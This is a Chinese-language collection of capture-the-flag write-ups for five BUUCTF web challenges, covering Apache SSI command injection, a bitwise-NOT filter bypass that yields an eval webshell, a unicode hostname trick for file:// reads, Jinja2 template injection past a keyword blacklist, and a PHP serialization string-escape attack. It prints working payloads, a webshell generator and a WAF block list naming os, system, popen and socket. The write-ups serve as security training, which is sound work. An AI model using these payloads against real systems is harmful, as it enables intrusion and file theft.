命令执行 [BJDCTF2020]EasySearch1
打开题目
尝试弱口令,发现没有用
扫描一下后台,最后用御剑扫描到了index.php.swp
访问一下得到源码
源码如下
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
代码审计一下
发现当username不为空,并且admin等于6d0bc1和password的md5值的前六位的值相同就登陆
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
这里我们用大佬的md5脚本
import hashlibfor i in range(1000000000):a = hashlib.md5(str(i).encode('utf-8')).hexdigest()if a[0:6] == '6d0bc1':print(i)print(a)
得到可以绕过的字符:
202066623050049162671
输入账户名admin和密码进入系统,发现在响应头中有
Url_is_here:public/a6218d90d88caf08e78eeed8b9c1baafad25d5ae.shtml
看到shtml
应该要想到Apache SSI 远程命令执行漏洞
然后利用shtml的命令执行,可控参数是username
用hackbar传一下参数
payload1:username=<!--#exec cmd="ls ../"-->&password=9162671
payload2:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671
得到flag{a6b6a42a-7ae2-44f0-a156-83494c51a4bf}
知识点:
shtml是一种用于SSI技术的文件——Server Side Include--SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可
命令执行 [极客大挑战 2019]RCE ME 1
打开题目
是GET方式获取code,如果长度超过40 不执行,含有字母数字不执行,满足条件就当做php执行并且不报错,可以用异或或者取反绕过
异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。
先查看phpinfo
生成过程:
即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。构造完的语句进行查询
用hackbar传参
成功绕过,查看phpinfo
发现对一些行数进行控制:
写一句话:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert( P O S T [ ′ a ′ ] ) ; > , 我 们 需 要 调 用 e v a l 拼 接 为 a s s e r t ( e v a l ( _POST['a']);>,我们需要调用eval 拼接为 assert(eval( POST[′a′]);>,我们需要调用eval拼接为assert(eval(_POST[test]))
利用蚁剑连接
但不能执行命令,和cat flag
利用蚁剑的插件进行bypass:
点击开始进入:
利用readflag得到flag:
[SUCTF 2019]Pythonginx 1
打开题目
我们需要提交一个url,用来读取服务器端任意文件
简单来说,需要逃脱前两个if,成功进入第三个if。
而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了
这里借用大佬的脚本
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):uni=chr(x)url="http://suctf.c{}".format(uni)try:if getUrl(url):print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])except:passdef getUrl(url):url=urlhost=parse.urlparse(url).hostnameif host == 'suctf.cc':return Falseparts=list(urlsplit(url))host=parts[1]if host == 'suctf.cc':return Falsenewhost=[]for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1]='.'.join(newhost)finalUrl=urlunsplit(parts).split(' ')[0]host=parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return Trueelse:return Falseif __name__=='__main__':get_unicode()
最后输出的结果有:
先读一下etc/passwd
题目提示我们是nginx,所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
看到有:
于是访问http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag
得到flag
知识点:
配置文件存放目录:
/
etc
/
nginx
主配置文件:
/
etc
/
nginx
/
conf
/
nginx.conf
管理脚本:
/
usr
/
lib64
/
systemd
/
system
/
nginx.service
模块:
/
usr
/
lisb64
/
nginx
/
modules
应用程序:
/
usr
/
sbin
/
nginx
程序默认存放位置:
/
usr
/
share
/
nginx
/
html
日志默认存放位置:
/
var
/
log
/
nginx
[GYCTF2020]FlaskApp 1
打开题目
hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错。
随便输一段不能加密的
报错抛出debug信息,看来是开启了debug模式
而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码
@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res = render_template_string(tmp)
关键代码如下:
获取我们传的text参数,进行解密,如果可以过waf则执行代码。
@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res = render_template_string(tmp)
可以使用ssti注入。
因为直接cat flag发现是得不到目录的。
所以要思索一下他是不是过滤了什么
读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
waf函数发现了过滤
原来是flag和os等被过滤。
def waf(str):black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]for x in black_list :if x in str.lower() :return 1
利用字符串拼接找目录
发现了this_is_the_flag.txt
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==
读取使用切片省去了拼接flag的步骤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
得到flag
[0CTF 2016]piapiapia 1
打开题目
一般看到登录框,就以为是sql注入题,这道题不是
这道题存在源码泄露,在网站目录会泄漏一个www.zip
文件
首先御剑发现个注册页面,注册上去看到个上传,测试多次无果
打开源码,只有几个php文件,还好,先看config.php敏感文件,看到了flag,后面可能会用到config.php
然后依次打开其他几个文件,看看有没有什么敏感函数,发现了三处:profile.php有两处:
unserialize和file_get_contents。
update.php的serialize
反序列化也是为危险函数做贡献的,所以我们的注意点就在file_get_contents上,应该是让我们通过这个函数去请求config.php文件。看一下参数怎么传过来的:在profile.php里,它是$profile数组里键名为photo的键值
$profile又是通过$user的show_profile函数传过来的,而且传过去了$username参数:
跟进去class.php下,user类里面
user类继承了mysql类,这里先调用了父类的filter函数。
这里是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”:
然后show_profile里面又调用了父类的select函数:
可以看到数据是从表里取出来的,那就要看什么时候插入数据了,全文搜索insert或者update,在select函数的下面找到
那现在就看哪里调用了这个函数,还是在这个class.php文件里,找到了调用,在这里做了同样的过滤才更新数据:
继续找update_profile函数的调用,在update.php文件里找到:
可以看到这里对$profile进行了赋值,值是通过post传过来的。
调用链反过来看是这样:
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。
从前往后看参数传递
整个调用链反过来推清楚了。那现在我们从前往后,绕过诸多限制进行攻击。先看update.php文件里面的photo参数。
我们盯上了它的前一个参数——nickname参数:这里就要利用到序列化的拼接+伪造,对nickname参数攻击,比如该序列化字符串:
a:3:{s:4:"dddd";s:6:"ddddhm";}
在dddd的地方输入 dddd";s:10:“buhaobuhao”;} 就变成了
a:3:{s:25:"dddd";s:10:"buhaobuhao";}";s:6:"ddddhm";}
dddd前面的字符串长度也变了,变成25了,所以这里会报错。我们就要想办法把dddd变成25位长度,还差21位。
先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思。
然后 “||” 后面判断了它的长度是否大于10。
我们的nickname[]数组实际长度是39位,除了where,多出来了34位。这个时候strlen('where') == 5 != 39,不是指定的长度会报错,所以我们要想办法把where那块地方,在序列化之后(注意时间点)再增长34位。
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
随便输入账号密码注册
用这个账号登录,发现到了注入的页面,在nickname位置输入payload抓包,记得把nickname改成nickname[] 数组
点超链接到profile.php,看源代码找到image里面的base64字符串
解码得到flag:
参考文章:
BUUCTF-WEB 【0CTF 2016】piapiapia 1_[0ctf 2016]piapiapia 1-CSDN博客
GYCTF2020 FlaskApp_ctf flaskapp-CSDN博客
[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客
[SUCTF 2019]Pythonginx 1-CSDN博客
[极客大挑战 2019]RCE ME 1-CSDN博客